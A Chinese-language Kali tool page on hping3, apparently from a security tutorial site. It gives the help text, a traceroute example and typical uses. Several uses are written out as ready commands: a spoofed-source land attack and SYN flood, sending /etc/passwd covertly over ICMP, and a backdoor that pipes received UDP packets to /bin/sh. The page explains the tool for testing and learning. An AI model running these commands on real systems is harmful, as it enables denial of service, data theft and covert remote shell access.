---
工具名稱: hping3
所屬分類: Information Gathering
標簽: [hping3,information gathering,kali linux,spoofing,recon]
創建時間: 2017-04-23 06:52:00
---
0x00 hping3介紹
-------------
hping是面向命令行的用于生成和解析TCP/IP協議數據包匯編/分析的開源工具。作者是Salvatore Sanfilippo,界面靈感來自ping(8)unix命令,目前最新版是hping3,它支持TCP,UDP,ICMP和RAW-IP協議,具有跟蹤路由模式,能夠在覆蓋的信道之間發送文件以及許多其他功能,支持使用tcl腳本自動化地調用其API。hping是安全審計、防火墻測試等工作的標配工具。hping優勢在于能夠定制數據包的各個部分,因此用戶可以靈活對目標機進行細致地探測。
<!--more-->
雖然hping以前主要用作安全工具,但它可以在許多方面被不太關心安全性的人員用于測試網絡和主機,您可以使用hping的一小部分內容:
```plain
- 防火墻測試
- 高級端口掃描
- 網絡測試,使用不同的協議,TOS,分片
- 手動路徑MTU發現
- 在所有支持的協議下,高級traceroute
- 遠程操作系統指紋
- 遠程正常運行時間猜測
- TCP/IP協議棧審計
- hping也可以用于學習TCP/IP的學生
```
<!--more-->
工具來源:http://www.hping.org/
[hping3主頁][1] | [Kali hping3倉庫][2]
- 作者:Salvatore Sanfilippo
- 證書:GPLv2
0x01 hping3功能
----------------
```plain
root@kali:~# hping3 -h
用法: hping3 主機 [options]
-h --help 顯示幫助
-v --version 顯示版本
-c --count 數據包計數
-i --interval 等待 (uX即X微秒, 例如: -i u1000)
--fast 等同 -i u10000 (每秒10個包)
--faster 等同 -i u1000 (每秒100個包)
--flood 盡最快發送數據包,不顯示回復。
-n --numeric 數字輸出
-q --quiet 靜默模式
-I --interface 接口名 (默認路由接口)
-V --verbose 詳細模式
-D --debug 調試信息
-z --bind 綁定ctrl+z到ttl(默認為目的端口)
-Z --unbind 取消綁定ctrl+z鍵
--beep 對于接收到的每個匹配數據包蜂鳴聲提示
模式
默認模式 TCP
-0 --rawip 原始IP模式
-1 --icmp ICMP模式
-2 --udp UDP模式
-8 --scan SCAN模式
例子: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen模式
IP
-a --spoof 偽造源地址
--rand-dest 隨機目的地址模式。詳細使用man命令
--rand-source 隨機來源地址模式。詳細使用man命令
-t --ttl ttl (默認64)
-N --id id (默認隨機)
-W --winid 使用win* id字節順序
-r --rel 相對id字段(估計主機流量)
-f --frag 拆分數據包更多的frag
-x --morefrag 設置更多的分段標志
-y --dontfrag 設置不分段標志
-g --fragoff 設置分段偏移
-m --mtu 設置虛擬最大傳輸單元
-o --tos 服務類型(默認為0x00),嘗試--tos幫助
-G --rroute 包含RECORD_ROUTE選項并顯示路由緩沖區
--lsrr 松散源路由并記錄路由
--ssrr 嚴格源路由并記錄路由
-H --ipproto 設置IP協議字段,僅在RAW IP模式下使用
ICMP
-C --icmptype icmp類型(默認echo請求)
-K --icmpcode icmp代號(默認0)
--force-icmp 發送所有icmp類型(默認僅發送支持的類型)
--icmp-gw 設置ICMP重定向網關地址(默認0.0.0.0)
--icmp-ts 等同 --icmp --icmptype 13 (ICMP 時間戳)
--icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址子網掩碼)
--icmp-help 顯示其他icmp選項幫助
UDP/TCP
-s --baseport 基源端口(默認隨機)
-p --destport [+][+]<port> 目的端口(默認0) ctrl+z inc/dec
-k --keep 保持源端口
-w --win windows發送字節(默認64)
-O --tcpoff 設置偽造tcp數據偏移量(取代tcp地址長度除4)
-Q --seqnum 僅顯示tcp序列號
-b --badcksum (嘗試)發送具有錯誤IP校驗和數據包
許多系統將修復發送數據包的IP校驗和
所以你會得到錯誤UDP/TCP校驗和。
-M --setseq 設置TCP序列號
-L --setack 設置TCP確認
-F --fin 設置FIN標志
-S --syn 設置SYN標志
-R --rst 設置RST標志
-P --push 設置PUSH標志
-A --ack 設置ACK標志
-U --urg 設置URG標志
-X --xmas 設置X未使用的標志(0x40)
-Y --ymas 設置Y未使用的標志(0x80)
--tcpexitcode 使用last tcp-> th_flags作為退出碼
--tcp-mss 啟用具有給定值的TCP MSS選項
--tcp-timestamp 啟用TCP時間戳選項來猜測HZ/uptime
通用
-d --data 數據大小(默認0)
-E --file 文件數據
-e --sign 添加“簽名”
-j --dump 轉儲為十六進制數據包
-J --print 轉儲為可打印字符
-B --safe 啟用“安全”協議
-u --end 告訴你什么時候--file達到EOF并防止倒回
-T --traceroute traceroute模式(等同使用 --bind 且--ttl 1)
--tr-stop 在traceroute模式下收到第一個不是ICMP時退出
--tr-keep-ttl 保持源TTL固定,僅用于監視一跳
--tr-no-rtt 不要在跟蹤路由模式下計算/顯示RTT信息 ARS包描述(新增功能,不穩定)
--apd-send 發送APD描述數據包(參見docs / APD.txt)
```
0x02 hping3用法示例
---------
對于目標(www.example.com),使用跟蹤路由模式(-traceroute),在ICMP模式(-1)中詳細顯示verbose(-V):
```plain
root@kali:~# hping3 --traceroute -V -1 www.example.com
using eth0, addr: 192.168.1.15, MTU: 1500
HPING www.example.com (eth0 93.184.216.119): icmp mode set, 28 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=192.168.1.1 name=UNKNOWN
hop=1 hoprtt=0.3 ms
hop=2 TTL 0 during transit from ip=192.168.0.1 name=UNKNOWN
hop=2 hoprtt=3.3 ms
```
0x03 hping3典型功能
-----------
**防火墻測試**
使用Hping3指定各種數據包字段,依次對防火墻進行詳細測試。請參考:http://0daysecurity.com/articles/hping3_examples.html
測試防火墻對ICMP包的反應、是否支持traceroute、是否開放某個端口、對防火墻進行拒絕服務攻擊(DoS attack)。
例如,以LandAttack方式測試目標防火墻(Land Attack是將發送源地址設置為與目標地址相同,誘使目標機與自己不停地建立連接)。
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
端口掃描
Hping3也可以對目標端口進行掃描。Hping3支持指定TCP各個標志位、長度等信息。
以下示例可用于探測目標機的80端口是否開放:
hping3 -I eth0 -S 192.168.10.1 -p 80
其中-I eth0指定使用eth0端口,-S指定TCP包的標志位SYN,-p 80指定探測的目的端口。
hping3支持非常豐富的端口探測方式,nmap擁有的掃描方式hping3幾乎都支持(除開connect方式,因為Hping3僅發送與接收包,不會維護連接,
所以不支持connect方式探測)。而且Hping3能夠對發送的探測進行更加精細的控制,方便用戶微調探測結果。
當然,Hping3的端口掃描性能及綜合處理能力,無法與Nmap相比。一般使用它僅對少量主機的少量端口進行掃描。
**Idle掃描**
Idle掃描(Idle Scanning)是一種匿名掃描遠程主機的方式,該方式也是有Hping3的作者Salvatore Sanfilippo發明的,
目前Idle掃描在Nmap中也有實現。 該掃描原理是:尋找一臺idle主機(該主機沒有任何的網絡流量,并且IPID是逐個增長的),
攻擊端主機先向idle主機發送探測包,從回復包中獲取其IPID。冒充idle主機的IP地址向遠程主機的端口發送SYN包(此處假設為SYN包),
此時如果遠程主機的目的端口開放,那么會回復SYN/ACK,此時idle主機收到SYN/ACK后回復RST包。然后攻擊端主機再向idle主機發送探測包,
獲取其IPID。那么對比兩次的IPID值,我們就可以判斷遠程主機是否回復了數據包,從而間接地推測其端口狀態。
**拒絕服務攻擊**
使用Hping3可以很方便構建拒絕服務攻擊。比如對目標機發起大量SYN連接,偽造源地址為192.168.10.99,并使用1000微秒的間隔發送各個SYN包。
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻擊如smurf、teardrop、land attack等也很容易構建出來。
**文件傳輸**
Hping3支持通過TCP/UDP/ICMP等包來進行文件傳輸。相當于借助TCP/UDP/ICMP包建立隱秘隧道通訊。
實現方式是開啟監聽端口,對檢測到的簽名(簽名為用戶指定的字符串)的內容進行相應的解析。
在接收端開啟服務:
hping3 192.168.1.159--listen signature --safe --icmp
監聽ICMP包中的簽名,根據簽名解析出文件內容。
在發送端使用簽名打包的ICMP包發送文件:
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
將/etc/passwd密碼文件通過ICMP包傳給192.168.10.44主機。發送包大小為100字節(-d 100),發送簽名為signature(-sign signature)。
**木馬功能**
如果Hping3能夠在遠程主機上啟動,那么可以作為木馬程序啟動監聽端口,并在建立連接后打開shell通信。與netcat的后門功能類似。
示例:本地打開53號UDP端口(DNS解析服務)監聽來自192.168.10.66主機的包含簽名為signature的數據包,并將收到的數據調用/bin/sh執行。
在木馬啟動端:
hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh
在遠程控制端:
echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
將包含ls命令的文件加上簽名signature發送到192.168.10.44主機的53號UDP端口,包數據長度為100字節。
當然這里只是簡單的演示程序,真實的場景,控制端可以利益shell執行很多的高級復雜的操作。
[1]: http://www.hping.org/
[2]: http://git.kali.org/gitweb/?p=packages/hping3.git;a=summary
- Information Gathering
- acccheck
- ace-voip
- Amap
- Automater
- bing-ip2hosts
- braa
- CaseFile
- CDPSnarf
- cisco-torch
- Cookie Cadger
- copy-router-config
- DMitry
- dnmap
- dnsenum
- dnsmap
- DNSRecon
- dnstracer
- dnswalk
- DotDotPwn
- enum4linux
- enumIAX
- Fierce
- Firewalk
- fragroute
- fragrouter
- Ghost Phisher
- GoLismero
- goofile
- hping3
- InTrace
- iSMTP
- lbd
- Maltego Teeth
- masscan
- Metagoofil
- Miranda
- nbtscan-unixwiz
- Nmap
- ntop
- p0f
- Parsero
- Recon-ng
- SET
- smtp-user-enum
- snmp-check
- sslcaudit
- SSLsplit
- sslstrip
- SSLyze
- THC-IPV6
- theHarvester
- TLSSLed
- twofi
- URLCrazy
- Wireshark
- WOL-E
- Xplico
- Vulnerability Analysis
- BBQSQL
- BED
- cisco-auditing-tool
- cisco-global-exploiter
- cisco-ocs
- cisco-torch
- copy-router-config
- Doona
- Exploitation Tools
- Wireless Attacks
- Ghost-Phisher
- mfoc
- Forensics Tools
- Binwalk
- bulk-extractor
- Web Applications
- apache-users
- BurpSuite
- sqlmap
- w3af
- Sniffing-Spoofing
- Bettercap
- Burp Suite
- DNSChef
- Fiked
- hamster-sidejack
- HexInject
- Password Attacks
- crunch
- hashcat
- John the Ripper
- Johnny
- Hardware Hacking
- android-sdk
- apktool
- Arduino
- dex2jar
- Sakis3G
- Reverse Engineering
- apktool